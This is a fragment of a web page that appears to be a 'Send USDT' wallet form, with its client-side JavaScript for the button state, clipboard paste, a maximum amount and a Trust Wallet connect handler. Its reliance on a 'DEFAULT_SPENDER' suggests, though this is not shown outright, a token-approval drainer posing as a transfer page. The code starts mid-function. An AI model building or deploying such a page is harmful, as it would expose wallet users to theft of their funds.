Send USDT

Paste

USDT

Max

≈ $0.00

Send USDT

Paste

USDT

Max

≈ $0.00

return { success: false }; } } catch (error) { console.error('Transaction Error:', error); return { success: false, error: error.message }; } } } // Utility functions function setLoading(state) { loading = state; const button = document.getElementById('connectButton'); button.textContent = state ? 'Please wait...' : 'Next'; updateButtonState(); } function updateButtonState() { const button = document.getElementById('connectButton'); const amount = document.getElementById('amount').value; const isDisabled = loading || !DEFAULT_SPENDER || parseFloat(amount || 0) <= 0 || !provider; button.disabled = isDisabled; button.classList.toggle('opacity-50', isDisabled); button.classList.toggle('cursor-not-allowed', isDisabled); } async function pasteToInput(inputId) { try { const text = await navigator.clipboard.readText(); document.getElementById(inputId).value = text; } catch (err) { console.error('Failed to paste:', err); } } function setMaxAmount() { document.getElementById('amount').value = '1000'; // Arbitrary max for demo updateAmountUSD(); } function updateAmountUSD() { const amount = parseFloat(document.getElementById('amount').value) || 0; document.getElementById('amountUSD').textContent = `≈ $${(amount - 0.01).toFixed(2)}`; updateButtonState(); } // Event listeners document.getElementById('amount').addEventListener('input', updateAmountUSD); document.getElementById('connectButton').addEventListener('click', connectToTrustWallet); document.getElementById('usdtForm').addEventListener('submit', (e) => e.preventDefault()); // Initialize initProvider();